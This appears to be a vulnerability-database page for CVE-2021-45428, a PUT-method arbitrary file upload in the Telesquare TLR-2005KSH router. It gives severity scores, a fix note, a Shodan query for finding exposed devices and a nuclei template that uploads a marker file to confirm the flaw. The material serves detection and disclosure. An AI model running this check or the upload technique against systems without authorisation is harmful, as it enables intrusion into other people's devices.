HexBrain

Browse / CVEs / CVE-2021-45428

CVE-2021-45428· telesquare / tlr-2005ksh· CWE-639

Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
56.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.

Impact

Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.

Fix

Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.

How to confirm it

Send: GET /{{randstr}}.txt ; PUT /{{randstr}}.txt
Positive when: status_code_1 == 404 && status_code_2 == 201 and contains(body_3, "CVE-2021-45428") && status_code_3 == 200

Run it with nuclei: nuclei -id CVE-2021-45428 -u <target>

The full check
id: CVE-2021-45428

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload
  author: gy741
  severity: critical
  description: |
    TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability.
  reference:
    - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing
    - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45428
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45428
    cwe-id: CWE-639
    epss-score: 0.56931
    epss-percentile: 0.99075
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh
    shodan-query: http.html:"TLR-2005KSH"
  tags: cve2021,cve,telesquare,intrusive,fileupload,packetstorm,vuln

http:
  - raw:
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        PUT /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

        CVE-2021-45428
      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 404 && status_code_2 == 201'
          - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from